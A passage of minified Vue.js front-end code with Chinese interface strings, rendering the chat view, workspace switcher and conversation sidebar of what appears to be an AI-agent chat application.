as(re)?(F(),Wt(kH,{key:5,summary:De.value.get(re),"icon-style":mt},null,8,["summary"])):ge("",!0)])):(F(),$("div",j6,[E("div",{class:ke(["collapsible-block system-block",{expanded:(Ae=s.expandedBlocks)==null?void 0:Ae.has(`system-${re}`)}]),"data-block-id":`system-${re}`},[E("div",{class:"collapsible-header",onClick:ue=>s.toggleBlock(`system-${re}`)},[te[6]||(te[6]=E("div",{class:"arrow"},null,-1)),E("div",q6,[E("span",{class:"tool-icon icon icon-md",style:Ke(mt("info")),"aria-hidden":"true"},null,4)]),E("span",K6,"系统消息 (role: "+ae(Z.role)+")",1)],8,G6),E("div",{class:"collapsible-content",ref:ue=>Je(`system-${re}`,ue)},[E("div",Q6,ae(Z.content),1)],512)],10,V6)]))],2))]}),_:1},8,["data","scroll-ref","keep-mounted"])):ge("",!0)],512),te[7]||(te[7]=E("div",{class:"messages-bottom-spacer","aria-hidden":"true"},null,-1))],2),Dc.value.length>0&&bh.value!=="hidden"?(F(),$("nav",{key:0,class:ke(["chat-quick-nav",{"chat-quick-nav--center":bh.value==="center"}]),style:Ke(f_.value),"aria-label":"用户输入快捷跳转",onMousemove:Rk,onMouseleave:Lk},[(F(!0),$(Ie,null,tt(Dc.value,(Z,re)=>(F(),$("div",{key:Z.msgIndex,class:ke(["qn-line",{"is-hot":qo.value===re,"is-current":vh.value===re}]),style:Ke({width:mh(re)+"px"}),ref_for:!0,ref:Ae=>Ik(re,Ae),onClick:Ae=>Ok(Z)},null,14,X6))),128))],38)):ge("",!0),E("div",{class:ke(["quick-nav-preview",{"is-visible":qo.value>=0}]),style:Ke(v_.value)},[E("div",Y6,ae(g_.value),1),E("div",J6,[Qe(xm,{content:m_.value,"is-streaming":!1},null,8,["content"])])],6)],512))}}),nU=["aria-label"],iU={class:"ws-switcher__header"},rU={class:"ws-switcher__title"},oU={class:"ws-switcher__count"},aU=["data-ws-id","aria-selected","onClick"],lU={key:0,class:"ws-confirm"},cU={class:"ws-confirm-text"},uU={class:"ws-confirm-actions"},hU=["disabled"],dU=["disabled","onClick"],fU={class:"ws-row-text"},pU=["disabled","onKeydown"],gU={key:1,class:"ws-row-name"},mU={key:2,class:"ws-row-path"},vU={class:"ws-row-meta"},yU={key:0,class:"ws-tag"},bU=["aria-expanded","onClick"],_U={key:0,class:"ws-empty"},SU=["disabled"],wU=["placeholder","disabled"],kU=["disabled"],CU={key:1,class:"ws-create-error"},TU={class:"ws-create-actions"},AU=["disabled"],EU=["disabled"],MU=["disabled"],xU=["disabled"],IU=["disabled"],RU=["disabled"],JM=300,LU=at({name:"WorkspaceSwitcher",__name:"WorkspaceSwitcher",props:{open:{type:Boolean},anchorRect:{default:null},workspaces:{default:()=>[]},currentWorkspaceId:{default:""},defaultWorkspaceId:{default:""},workspaceKind:{default:"workspace"},busy:{type:Boolean,default:!1},createSubmitting:{type:Boolean,default:!1},errorMessage:{default:""}},emits:["close","switch","create","rename","delete","set-default","reveal"],setup(s,{emit:e}){const t=s,n=e,i=ye(()=>t.workspaceKind==="project"),r=ye(()=>i.value?"项目":"工作区"),o=pe(null),a=pe(null),c=pe(null),l=pe(null),u=pe(null),h=pe(null),d=pe(null),p=pe(null),m=pe(""),v=pe(!1),g=pe(""),y=pe(""),b=pe(!1),_=pe({}),w=()=>{var oe;const H=t.anchorRect;if(!H||typeof window>"u")return;const G=window.innerWidth,ee=window.innerHeight,ie=((oe=o.value)==null?void 0:oe.offsetHeight)||360;let ve=H.right+8,le=H.top-6;ve+JM>G-8&&(ve=Math.max(8,Math.min(H.left,G-JM-8)),le=H.bottom+6),le+ie>ee-8&&(le=Math.max(8,ee-ie-8)),_.value={left:`${Math.round(ve)}px`,top:`${Math.round(le)}px`}},S=pe({}),C=()=>{h.value=null},T=async H=>{var J;if(t.busy)return;if(h.value===H.workspace_id){C();return}d.value=null,p.value=null,h.value=H.workspace_id,await ft();const G=H.workspace_id,ee=(J=a.value)==null?void 0:J.querySelector(`.ws-row[data-ws-id="${CSS.escape(G)}"]`),ie=ee==null?void 0:ee.querySelector(".ws-more");if(!ie){C();return}const ve=ie.getBoundingClientRect(),le=document.querySelector(".ws-menu-floating"),oe=(le==null?void 0:le.offsetWidth)||150,I=(le==null?void 0:le.offsetHeight)||150;let K=ve.right-oe,X=ve.bottom+4;K=Math.max(8,Math.min(K,window.innerWidth-oe-8)),X+I>window.innerHeight-8&&(X=ve.top-I-4),S.value={left:`${Math.round(K)}px`,top:`${Math.round(X)}px`}},k=H=>{const G=h.value,ee=t.workspaces.find(ie=>ie.workspace_id===G);C(),ee&&(H==="set-default"?n("set-default",ee.workspace_id):H==="rename"?(d.value=ee.workspace_id,m.value=ee.label,ft(()=>{var ve;const ie=(ve=u.value)==null?void 0:ve[0];ie==null||ie.focus(),ie==null||ie.select()})):H==="reveal"?n("reveal",ee.workspace_id):H==="delete"&&(p.value=ee.workspace_id))},A=H=>{if(!t.busy&&!(d.value||p.value)){if(h.value){C();return}H.workspace_id!==t.currentWorkspaceId&&n("switch",H.workspace_id)}},M=H=>{const G=m.value.trim();G&&G!==H.label&&n("rename",{workspace_id:H.workspace_id,label:G}),d.value=null},R=H=>{p.value=null,n("delete",H)};let P=!1;const L=(H,G)=>{if(P)return;P=!0;const ee=c.value;if(!ee){v.value=H,P=!1,G&&G();return}const ie=ee.offsetHeight;ee.style.height=`${ie}px`,b.value=!0,window.setTimeout(()=>{v.value=H,ft(()=>{ee.style.height="auto";const ve=ee.offsetHeight;ee.style.height=`${ie}px`,ee.offsetHeight,ee.style.height=`${ve}px`,b.value=!1,window.setTimeout(()=>{ee.style.height="",P=!1,G&&G()},210)})},130)},z=()=>{v.value||t.busy||(C(),g.value="",y.value="",L(!0,()=>{var H;return(H=l.value)==null?void 0:H.focus()}))},Q=()=>{v.value&&L(!1)},W=()=>{n("create",{path:g.value.trim(),label:y.value.trim()})};Xe(()=>t.createSubmitting,(H,G)=>{G&&!H&&v.value&&!t.errorMessage&&Q()});const V=H=>{var ee;const G=H.target;if(G&&!((ee=G.closest)!=null&&ee.call(G,".ws-menu-floating"))&&o.value&&!o.value.contains(G)){const ie=t.anchorRect;if(ie){const ve=H.clientX,le=H.clientY;if(ve>=ie.left&&ve<=ie.right&&le>=ie.top&&le<=ie.bottom)return}n("close")}},N=H=>{if(H.key==="Escape"){if(h.value){C();return}if(d.value||p.value){d.value=null,p.value=null;return}if(v.value){Q();return}n("close")}},O=()=>{C(),w()};return Xe(()=>t.open,async H=>{H?(h.value=null,d.value=null,p.value=null,await ft(),w(),document.addEventListener("click",V,!0),document.addEventListener("keydown",N),window.addEventListener("resize",O)):(v.value&&(v.value=!1),document.removeEventListener("click",V,!0),document.removeEventListener("keydown",N),window.removeEventListener("resize",O))}),xn(()=>{document.removeEventListener("click",V,!0),document.removeEventListener("keydown",N),window.removeEventListener("resize",O)}),(H,G)=>(F(),Wt(Sp,{to:"body"},[Qe(us,{name:"ws-switcher"},{default:Vt(()=>[s.open?(F(),$("div",{key:0,ref_key:"popoverEl",ref:o,class:ke(["ws-switcher",{"ws-switcher--project":i.value}]),style:Ke(_.value),role:"dialog","aria-label":r.value,onClick:G[6]||(G[6]=Ne(()=>{},["stop"]))},[E("div",iU,[E("span",rU,ae(r.value),1),E("span",oU,ae(s.workspaces.length)+" 个",1)]),E("div",{class:"ws-switcher__list",ref_key:"listEl",ref:a,onScroll:C},[(F(!0),$(Ie,null,tt(s.workspaces,ee=>(F(),$("div",{key:ee.workspace_id,class:ke(["ws-row",{current:ee.workspace_id===s.currentWorkspaceId,"menu-open":h.value===ee.workspace_id}]),"data-ws-id":ee.workspace_id,role:"option","aria-selected":ee.workspace_id===s.currentWorkspaceId,onClick:ie=>A(ee)},[p.value===ee.workspace_id?(F(),$("div",lU,[E("div",cU," 删除「"+ae(ee.label)+"」?"+ae(i.value?"项目文件夹和对话记录将一并删除。":"不会删除磁盘上的文件夹。"),1),E("div",uU,[E("button",{type:"button",class:"ws-btn ghost",disabled:s.busy,onClick:G[0]||(G[0]=Ne(ie=>p.value=null,["stop"]))}," 取消 ",8,hU),E("button",{type:"button",class:"ws-btn danger",disabled:s.busy,onClick:Ne(ie=>R(ee),["stop"])}," 删除 ",8,dU)])])):(F(),$(Ie,{key:1},[G[13]||(G[13]=E("span",{class:"ws-row-icon","aria-hidden":"true"},[E("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor","stroke-width":"1.8","stroke-linecap":"round","stroke-linejoin":"round"},[E("path",{d:"M20 20a2 2 0 0 0 2-2V8a2 2 0 0 0-2-2h-7.9a2 2 0 0 1-1.69-.9L9.6 3.9A2 2 0 0 0 7.93 3H4a2 2 0 0 0-2 2v13a2 2 0 0 0 2 2Z"})])],-1)),E("span",fU,[d.value===ee.workspace_id?_v((F(),$("input",{key:0,ref_for:!0,ref_key:"renameInputEl",ref:u,"onUpdate:modelValue":G[1]||(G[1]=ie=>m.value=ie),class:"ws-rename-input",disabled:s.busy,onClick:G[2]||(G[2]=Ne(()=>{},["stop"])),onKeydown:[Sv(Ne(ie=>M(ee),["prevent"]),["enter"]),G[3]||(G[3]=Sv(Ne(ie=>d.value=null,["prevent"]),["esc"]))]},null,40,pU)),[[sS,m.value]]):(F(),$("span",gU,ae(ee.label),1)),i.value?ge("",!0):(F(),$("span",mU,ae(ee.path||"(未配置路径)"),1))]),E("span",vU,[ee.workspace_id===s.defaultWorkspaceId?(F(),$("span",yU,"默认")):ge("",!0),E("button",{type:"button",class:"ws-more","aria-expanded":h.value===ee.workspace_id,"aria-label":"更多操作",onClick:Ne(ie=>T(ee),["stop"])},[...G[12]||(G[12]=[E("svg",{viewBox:"0 0 24 24",fill:"currentColor","aria-hidden":"true"},[E("circle",{cx:"5",cy:"12",r:"1.6"}),E("circle",{cx:"12",cy:"12",r:"1.6"}),E("circle",{cx:"19",cy:"12",r:"1.6"})],-1)])],8,bU)])],64))],10,aU))),128)),s.workspaces.length?ge("",!0):(F(),$("div",_U,ae(i.value?"暂无项目":"暂无工作区"),1))],544),E("div",{class:"ws-bottom",ref_key:"bottomEl",ref:c},[v.value?(F(),$("form",{key:1,class:ke(["ws-create-form",{fading:b.value}]),onSubmit:Ne(W,["prevent"])},[_v(E("input",{ref_key:"createNameEl",ref:l,"onUpdate:modelValue":G[4]||(G[4]=ee=>y.value=ee),type:"text",placeholder:i.value?"项目名称":"工作区名称(可选)",autocomplete:"off",disabled:s.createSubmitting},null,8,wU),[[sS,y.value]]),i.value?ge("",!0):_v((F(),$("input",{key:0,"onUpdate:modelValue":G[5]||(G[5]=ee=>g.value=ee),type:"text",placeholder:"路径:绝对路径或相对仓库路径",autocomplete:"off",disabled:s.createSubmitting},null,8,kU)),[[sS,g.value]]),s.errorMessage?(F(),$("div",CU,ae(s.errorMessage),1)):ge("",!0),E("div",TU,[E("button",{type:"button",class:"ws-btn ghost",disabled:s.createSubmitting,onClick:Ne(Q,["stop"])}," 取消 ",8,AU),E("button",{type:"submit",class:"ws-btn primary",disabled:s.createSubmitting},ae(s.createSubmitting?"创建中...":"创建"),9,EU)])],34)):(F(),$("div",{key:0,class:ke(["ws-footer",{fading:b.value}])},[E("button",{type:"button",class:"ws-create-btn",disabled:s.busy,onClick:Ne(z,["stop"])},[G[14]||(G[14]=E("span",{class:"ws-create-icon","aria-hidden":"true"},[E("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor","stroke-width":"1.8","stroke-linecap":"round","stroke-linejoin":"round"},[E("path",{d:"M5 12h14"}),E("path",{d:"M12 5v14"})])],-1)),E("span",null,"新建"+ae(r.value),1)],8,SU)],2))],512)],14,nU)):ge("",!0)]),_:1}),Qe(us,{name:"ws-menu"},{default:Vt(()=>[h.value?(F(),$("div",{key:0,class:"ws-menu-floating",style:Ke(S.value),role:"menu",onClick:G[11]||(G[11]=Ne(()=>{},["stop"]))},[E("button",{type:"button",disabled:h.value===s.defaultWorkspaceId||s.busy,onClick:G[7]||(G[7]=ee=>k("set-default"))}," 设为默认 ",8,MU),E("button",{type:"button",disabled:s.busy,onClick:G[8]||(G[8]=ee=>k("rename"))},"重命名",8,xU),E("button",{type:"button",disabled:i.value||s.busy,onClick:G[9]||(G[9]=ee=>k("reveal"))}," 在文件夹中打开 ",8,IU),G[15]||(G[15]=E("div",{class:"ws-menu-sep"},null,-1)),E("button",{type:"button",class:"danger",disabled:s.busy,onClick:G[10]||(G[10]=ee=>k("delete"))},"删除",8,RU)],4)):ge("",!0)]),_:1})]))}}),PU=Qt(LU,[["__scopeId","data-v-4dbd1c49"]]),OU={class:"conversation-sidebar-inner"},DU={class:"conversation-primary-actions"},NU=["title"],BU=["title"],FU={class:"sidebar-nav-label"},$U={class:"conversation-search"},HU={class:"search-input-wrap"},UU={class:"sidebar-nav-icon search-inline-icon","aria-hidden":"true"},WU=["value"],zU={key:0,class:"conversation-type-switch"},jU={key:0,class:"running-task-section"},VU=["onClick"],GU={class:"running-task-workspace"},qU={class:"running-task-main"},KU={class:"running-task-title"},QU={key:0,class:"conversation-running-loader running-task-state","aria-label":"运行中"},XU={key:1,class:"conversation-complete-check running-task-state","aria-label":"已完成"},YU=["onMouseenter"],JU=["onClick"],ZU={class:"workspace-group-label"},e8={key:0,class:"workspace-current-dot","aria-label":"当前工作区"},t8={key:1,class:"workspace-running-loader","aria-label":"运行中"},s8=["onClick"],n8=["aria-expanded","onClick"],i8=["onClick"],r8=["onClick"],o8=["onClick"],a8={class:"workspace-group-children-inner"},l8={key:0,class:"workspace-no-conversations"},c8=["onClick"],u8={class:"conversation-title"},h8={key:0,class:"conversation-running-loader","aria-label":"运行中",title:"运行中"},d8={key:1,class:"conversation-complete-check","aria-label":"已完成",title:"已完成"},f8=["data-action-trigger","aria-expanded","onClick"],p8=["onClick"],g8=["onClick"],m8={key:0,class:"load-more workspace-load-more"},v8=["disabled","onClick"],y8={key:2,class:"workspace-groups search-result-groups"},b8={key:0,class:"no-conversations"},_8={class:"workspace-group-header search-result-group-header"},S8={class:"workspace-group-toggle search-result-group-toggle"},w8={class:"workspace-group-label"},k8={class:"workspace-group-children expanded"},C8={class:"workspace-group-children-inner"},T8={class:"workspace-conversations-list"},A8=["onClick"],E8={class:"conversation-title"},M8={key:0,class:"conversation-running-loader","aria-label":"运行中",title:"运行中"},x8={key:1,class:"conversation-complete-check","aria-label":"已完成",title:"已完成"},I8=["data-action-trigger","aria-expanded","onClick"],R8=["onClick"],L8=["onClick"],P8={key:0,class:"loading-conversations"},O8={key:1,class:"no-conversations"},D8=["onClick"],N8={class:"conversation-title"},B8={key:0,class:"conversation-running-loader","aria-label":"运行中",title:"运行中"},F8={key:1,class:"conversation-complete-check","aria-label":"已完成",title:"已完成"},$8=["data-action-trigger","aria-expanded","onClick"],H8=["onClick"],U8=["onClick"],W8={key:4,class:"load-more"},z8=["disabled"],j8={key:5,class:"load-more search-more"},V8={key:0,class:"search-progress"},G8={class:"search-spinner","aria-hidden":"true"},q8={class:"search-spinner-orbit"},K8={key:2,class:"search-done"},Q8={class:"workspace-rename-card"},X8={class:"workspace-rename-title"},Y8=["onKeydown"],J8=at({name:"ConversationSidebar",__name:"ConversationSidebar",props:{formatTime:{},iconStyle:{},showCollapseButton:{type:Boolean,default:!0},collapseButtonVariant:{default:"toggle"},runningTasks:{default:()=>[]},currentWorkspaceId:{default:""},defaultWorkspaceId:{default:""},workspaces:{default:()=>[]},workspaceKind:{default:"workspace"},workspaceBusy:{type:Boolean,default:!1},workspaceCreateSubmitting:{type:Boolean,default:!1},workspaceError:{default:""},hostWorkspaceEnabled:{type:Boolean,default:!1},groupByWorkspace:{type:Boolean,default:!1},versioningHostMode:{type:Boolean,default:!1},currentTaskInProgress:{type:Boolean,default:!1},currentConversationId:{default:""}},emits:["toggle","create","search","search-submit","select","select-running-task","load-more","search-more","personal","delete","duplicate","switch-workspace","create-workspace","delete-workspace","set-default-workspace","select-workspace-conversation","create-workspace-conversation","reveal-workspace","rename-workspace","pin-workspace","conversation-type-change","open-workflows"],setup(s,{emit:e}){const t=s,n=e,i=Vs(),r=vr(),o=qs(),a=ye(()=>r.sidebarConversationType),c=ye(()=>a.value==="multi_agent"?"type-slide-left":"type-slide-right"),l=pe(null),u=fe=>{r.sidebarConversationType!==fe&&(l.value&&(l.value.scrollTop=0),r.setSidebarConversationType(fe),n("conversation-type-change",fe))},{sidebarCollapsed:h}=Ii(i),{searchQuery:d,searchResults:p,searchGroups:m,searchActive:v,searchInProgress:g,searchMoreAvailable:y,conversations:b,conversationInsertAnimations:_,conversationListAnimationMode:w,pendingDeletingConversationIds:S,conversationsLoading:C,hasMoreConversations:T,loadingMoreConversations:k,currentConversationId:A}=Ii(r),{visible:M}=Ii(o),R=fe=>t.iconStyle?t.iconStyle(fe):{},P=pe(null),L=pe(!1),z=pe(null),Q=()=>{if(L.value){L.value=!1;return}const fe=P.value;if(fe){const me=fe.getBoundingClientRect(),Ce=fe.closest(".conversation-sidebar"),dt=Ce?Ce.getBoundingClientRect().right:me.right;z.value={left:me.left,top:me.top,right:Math.min(me.right,dt),bottom:me.bottom}}L.value=!0},W=pe(null),V=pe({top:0,right:0}),N=pe(!1),O=pe(null),H=pe(null),G=pe(null),ee=pe(""),ie=pe(null);Xe(G,async fe=>{var me,Ce;fe&&(await ft(),(me=ie.value)==null||me.focus(),(Ce=ie.value)==null||Ce.select())});const ve=fe=>{if(typeof document>"u")return;const me=document.querySelector(`[data-action-trigger="${fe}"]`);if(!me)return;const Ce=me.getBoundingClientRect();V.value={top:Ce.bottom+6,right:(typeof window<"u"?window.innerWidth:0)-Ce.right}},le=fe=>{W.value===fe?W.value=null:(ve(fe),W.value=fe)};Xe(W,async fe=>{fe&&(await ft(),ve(fe))});const oe=fe=>W.value===fe&&!ut(fe)&&!Hs(fe),I=fe=>{const me=fe;me.style.top=`${me.offsetTop}px`},K=()=>{W.value=null},X=pe(new Set),J=pe([]),he=pe(!1),be=()=>{X.value=new Set(Array.isArray(o.form.sidebar_pinned_workspaces)?o.form.sidebar_pinned_workspaces:[])},Re=()=>{J.value=Array.isArray(o.form.sidebar_workspace_order)?[...o.form.sidebar_workspace_order]:[]},rt=()=>{if(!he.value)return;const fe=Array.from(X.value),me=o.form.sidebar_pinned_workspaces||[];JSON.stringify(fe)!==JSON.stringify(me)&&o.updateField({key:"sidebar_pinned_workspaces",value:fe})},st=()=>{if(!he.value)return;const fe=Array.from(J.value),me=o.form.sidebar_workspace_order||[];JSON.stringify(fe)!==JSON.stringify(me)&&o.updateField({key:"sidebar_workspace_order",value:fe})},et=()=>{if(!he.value)return;const fe=String(t.currentWorkspaceId||"");if(!fe||X.value.has(fe)||J.value[0]===fe)return;const me=J.value.filter(Ce=>Ce!==fe);me.unshift(fe),J.value=me,st()},De=fe=>{if(!he.value||!Array.isArray(fe))return;const me=fe.map(Kt=>String((Kt==null?void 0:Kt.workspace_id)||"")).filter(Boolean),Ce=new Set(J.value),dt=new Set(me.filter(Kt=>X.value.has(Kt))),qt=me.filter(Kt=>!Ce.has(Kt)&&!dt.has(Kt)),Ss=new Set(J.value.filter(Kt=>!me.includes(Kt)));(qt.length||Ss.size)&&(J.value=J.value.filter(Kt=>!Ss.has(Kt)).concat(qt),st())},xe=()=>{!o.loaded||he.value||(be(),Re(),he.value=!0,Array.isArray(t.workspaces)&&t.workspaces.length>0&&De(t.workspaces),et())};Xe(()=>o.loaded,fe=>{fe&&xe()},{immediate:!0}),Xe(()=>o.form.sidebar_pinned_workspaces,()=>{he.value&&be()},{deep:!0}),Xe(()=>o.form.sidebar_workspace_order,()=>{he.value&&(Re(),Array.isArray(t.workspaces)&&t.workspaces.length>0&&De(t.workspaces),et())},{deep:!0}),Xe(()=>t.workspaces,fe=>{Array.isArray(fe)&&fe.length>0&&De(fe)},{immediate:!0,deep:!0});const se=ye(()=>t.groupByWorkspace&&t.hostWorkspaceEnabled&&Array.isArray(t.workspaces)&&t.workspaces.length>0);Xe(()=>t.currentWorkspaceId,async()=>{se.value?(N.value=!0,et(),await ft(),N.value=!1):et()},{immediate:!0});const ce=ye(()=>(Array.isArray(t.workspaces)?[...t.workspaces]:[]).sort((me,Ce)=>{const dt=String((me==null?void 0:me.workspace_id)||""),qt=String((Ce==null?void 0:Ce.workspace_id)||""),Ss=X.value.has(dt)?1:0,Kt=X.value.has(qt)?1:0;if(Ss!==Kt)return Kt-Ss;const Es=J.value.indexOf(dt),ht=J.value.indexOf(qt);return Es!==-1&&ht!==-1?Es-ht:Es!==-1?-1:ht!==-1?1:String((me==null?void 0:me.label)||dt).localeCompare(String((Ce==null?void 0:Ce.label)||qt))})),de=ye(()=>v.value?p.value:b.value),we=ye(()=>(Array.isArray(m.value)?[...m.value]:[]).sort((me,Ce)=>{const dt=String((me==null?void 0:me.workspace_id)||""),qt=String((Ce==null?void 0:Ce.workspace_id)||""),Ss=X.value.has(dt)?1:0,Kt=X.value.has(qt)?1:0;if(Ss!==Kt)return Kt-Ss;const Es=J.value.indexOf(dt),ht=J.value.indexOf(qt);return Es!==-1&&ht!==-1?Es-ht:Es!==-1?-1:ht!==-1?1:String((me==null?void 0:me.label)||dt).localeCompare(String((Ce==null?void 0:Ce.label)||qt))})),Le=ye(()=>v.value?g.value:C.value),He=ye(()=>w.value==="delete"),yt=ye(()=>Array.isArray(t.runningTasks)?t.runningTasks.filter(fe=>fe&&fe.task_id&&fe.conversation_id&&fe.conversation_id!==A.value&&String(fe.workspace_id||"")!==String(t.currentWorkspaceId||"")):[]),At=new Set(["pending","running","cancel_requested"]),Nt=new Set(["succeeded","failed","canceled"]),It=fe=>At.has(String((fe==null?void 0:fe.status)||"")),Jt=fe=>Nt.has(String((fe==null?void 0:fe.status)||"")),$t=ye(()=>new Set((Array.isArray(t.runningTasks)?t.runningTasks:[]).filter(fe=>It(fe)).map(fe=>String((fe==null?void 0:fe.conversation_id)||"")).filter(Boolean))),As=ye(()=>new Set((Array.isArray(t.runningTasks)?t.runningTasks:[]).filter(fe=>Jt(fe)).map(fe=>String((fe==null?void 0:fe.conversation_id)||"")).filter(Boolean))),ut=fe=>!!($t.value.has(String(fe||""))||t.currentTaskInProgress&&String(fe||"")===String(t.currentConversationId||"")),Hs=fe=>As.value.has(String(fe||"")),hl=fe=>(Array.isArray(t.runningTasks)?t.runningTasks:[]).some(me=>It(me)&&String((me==null?void 0:me.workspace_id)||"")===fe),In=fe=>r.workspaceGroups.find(me=>me.workspaceId===fe),Uo=fe=>{const me=In(fe);if(!me)return[];const Ce=me.visibleLimit+me.bufferLimit;return me.conversations.slice(0,Ce)},nr=fe=>{const me=In(fe);return me?me.hasMore||me.conversations.length>me.visibleLimit:!1},Qs=fe=>{const me=In(fe);return me?me.expanded:!0},Yn=fe=>{const me=In(fe);if(!me){r.ensureWorkspaceGroup(fe),r.loadWorkspaceConversations(fe);return}r.setWorkspaceGroupExpanded(fe,!me.expanded),!me.expanded&&me.conversations.length===0&&!me.loading&&r.loadWorkspaceConversations(fe)},Rn=fe=>{const me=In(fe);me?me.conversations.length===0&&!me.loading&&!me.loadingMore&&r.loadWorkspaceConversations(fe):(r.ensureWorkspaceGroup(fe),r.loadWorkspaceConversations(fe))};Xe([se,ce],([fe,me])=>{fe&&me.length>0&&me.forEach(Ce=>Rn(String((Ce==null?void 0:Ce.workspace_id)||"")))},{immediate:!0});const ir=(fe,me)=>{H.value=null,n("select-workspace-conversation",{conversationId:fe,workspaceId:me})},Wo=fe=>{H.value=null,n("create-workspace-conversation",fe)},Ln=fe=>{H.value=H.value===fe?null:fe},ma=()=>{H.value=null},zo=fe=>{H.value=null;const me=[...J.value],Ce=me.indexOf(fe);if(X.value.has(fe)){X.value.delete(fe),Ce!==-1&&me.splice(Ce,1);const dt=String(t.currentWorkspaceId||""),qt=me.indexOf(dt),Ss=qt!==-1?qt+1:0;me.splice(Ss,0,fe)}else X.value.add(fe),Ce!==-1&&me.splice(Ce,1);J.value=me,rt(),st(),n("pin-workspace",fe)},io=fe=>{H.value=null,n("reveal-workspace",fe)},dl=fe=>{H.value=null,G.value=String((fe==null?void 0:fe.workspace_id)||""),ee.value=String((fe==null?void 0:fe.label)||(fe==null?void 0:fe.workspace_id)||"")},Jn=()=>{const fe=G.value,me=ee.value.trim();fe&&me&&n("rename-workspace",{workspaceId:fe,label:me}),G.value=null,ee.value=""},jo=()=>{G.value=null,ee.value=""},va=fe=>{r.loadMoreWorkspaceConversations(fe)};return Cn(()=>{document.addEventListener("click",K),document.addEventListener("click",ma),se.value&&ce.value.forEach(fe=>Rn(String((fe==null?void 0:fe.workspace_id)||"")))}),xn(()=>{document.removeEventListener("click",K),document.removeEventListener("click",ma)}),(fe,me)=>(F(),$("aside",{class:ke(["conversation-sidebar",{collapsed:We(h)}])},[E("div",OU,[E("div",DU,[E("button",{type:"button",class:"sidebar-nav-row conversation-menu-btn",title:We(h)?"展开对话记录":"收起对话记录",onClick:me[0]||(me[0]=Ce=>fe.$emit("toggle"))},[...me[22]||(me[22]=[mi('对话记录',2)])],8,NU),E("button",{type:"button",class:"sidebar-nav-row",title:"新建对话",onClick:me[1]||(me[1]=Ce=>fe.$emit("create"))},[...me[23]||(me[23]=[mi('新建对话',2)])]),s.hostWorkspaceEnabled?(F(),$("button",{key:0,type:"button",class:ke(["sidebar-nav-row workspace-entry-btn",{active:L.value}]),title:s.workspaceKind==="project"?"项目":"工作区","data-tutorial":"workspace-toggle",ref_key:"workspaceEntryBtn",ref:P,onClick:Q},[me[24]||(me[24]=mi('',1)),E("span",FU,ae(s.workspaceKind==="project"?"项目":"工作区"),1)],10,BU)):ge("",!0),E("button",{type:"button",class:"sidebar-nav-row",title:"工作流",onClick:me[2]||(me[2]=Ce=>fe.$emit("open-workflows"))},[...me[25]||(me[25]=[mi('工作流',2)])])]),E("div",$U,[E("label",HU,[E("span",UU,[E("span",{class:"icon icon-sm",style:Ke(R("search"))},null,4)]),E("input",{class:"search-input",value:We(d),placeholder:"搜索对话",onInput:me[3]||(me[3]=Ce=>fe.$emit("search",Ce.target.value)),onKeydown:me[4]||(me[4]=Sv(Ne(Ce=>fe.$emit("search-submit",Ce.target.value),["prevent"]),["enter"]))},null,40,WU)])]),We(v)?ge("",!0):(F(),$("div",zU,[E("button",{type:"button",class:ke(["conversation-type-option",{active:a.value==="normal"}]),onClick:me[5]||(me[5]=Ce=>u("normal"))}," 普通对话 ",2),E("button",{type:"button",class:ke(["conversation-type-option",{active:a.value==="multi_agent"}]),onClick:me[6]||(me[6]=Ce=>u("multi_agent"))}," 多智能体 ",2)])),E("div",{ref_key:"conversationListEl",ref:l,class:"conversation-list"},[Qe(us,{name:c.value},{default:Vt(()=>[(F(),$("div",{key:a.value,class:"conversation-list-pane"},[yt.value.length&&!We(v)&&!se.value?(F(),$("div",jU,[me[26]||(me[26]=E("div",{class:"running-task-section-title"},"运行中的任务",-1)),(F(!0),$(Ie,null,tt(yt.value,Ce=>(F(),$("button",{key:Ce.task_id,type:"button",class:ke(["running-task-item",{active:Ce.conversation_id===We(A)}]),onClick:dt=>fe.$emit("select-running-task",Ce)},[E("span",GU,ae(Ce.workspace_label||Ce.workspace_id),1),E("span",qU,[E("span",KU,ae(Ce.conversation_title||Ce.message||"运行中的对话"),1),It(Ce)?(F(),$("span",QU)):(F(),$("span",XU))])],10,VU))),128))])):ge("",!0),se.value&&!We(v)?(F(),$("div",{key:1,class:ke(["workspace-groups",{"switch-instant":N.value}])},[(F(!0),$(Ie,null,tt(ce.value,Ce=>{var dt,qt,Ss,Kt,Es;return F(),$("div",{key:String(Ce.workspace_id||Ce.label),class:"workspace-group"},[E("div",{class:ke(["workspace-group-header",{active:String(Ce.workspace_id||"")===s.currentWorkspaceId}]),onMouseenter:ht=>O.value=String(Ce.workspace_id||""),onMouseleave:me[7]||(me[7]=ht=>O.value=null)},[E("button",{type:"button",class:"workspace-group-toggle",onClick:ht=>Yn(String(Ce.workspace_id||""))},[E("span",{class:"icon icon-sm workspace-folder-icon",style:Ke(R(Qs(String(Ce.workspace_id||""))?"folderOpen":"folderClosed")),"aria-hidden":"true"},null,4),E("span",ZU,ae(Ce.label||Ce.workspace_id),1),String(Ce.workspace_id||"")===s.currentWorkspaceId?(F(),$("span",e8)):ge("",!0),hl(String(Ce.workspace_id||""))&&!Qs(String(Ce.workspace_id||""))&&O.value!==String(Ce.workspace_id||"")&&H.value!==String(Ce.workspace_id||"")?(F(),$("span",t8)):ge("",!0)],8,JU),E("div",{class:ke(["workspace-group-actions",{visible:O.value===String(Ce.workspace_id||"")||H.value===String(Ce.workspace_id||"")}])},[E("button",{type:"button",class:"workspace-new-btn",title:"新建对话","aria-label":"新建对话",onClick:ht=>Wo(String(Ce.workspace_id||""))},[E("span",{class:"icon icon-sm",style:Ke(R("pencil")),"aria-hidden":"true"},null,4)],8,s8),E("button",{type:"button",class:"workspace-more-btn",title:"更多操作","aria-label":"更多操作","aria-expanded":H.value===String(Ce.workspace_id||""),onClick:Ne(ht=>Ln(String(Ce.workspace_id||"")),["stop"])},[...me[27]||(me[27]=[E("span",{"aria-hidden":"true"},null,-1)])],8,n8),E("div",{class:ke(["workspace-actions-menu",{open:H.value===String(Ce.workspace_id||"")}])},[E("button",{type:"button",onClick:ht=>zo(String(Ce.workspace_id||""))},[E("span",null,ae(X.value.has(String(Ce.workspace_id||""))?"取消置顶":"置顶"),1)],8,i8),t.versioningHostMode?(F(),$("button",{key:0,type:"button",onClick:ht=>io(String(Ce.workspace_id||""))},[...me[28]||(me[28]=[E("span",null,"在文件夹中打开",-1)])],8,r8)):ge("",!0),E("button",{type:"button",onClick:ht=>dl(Ce)},[...me[29]||(me[29]=[E("span",null,"重命名",-1)])],8,o8)],2)],2)],42,YU),E("div",{class:ke(["workspa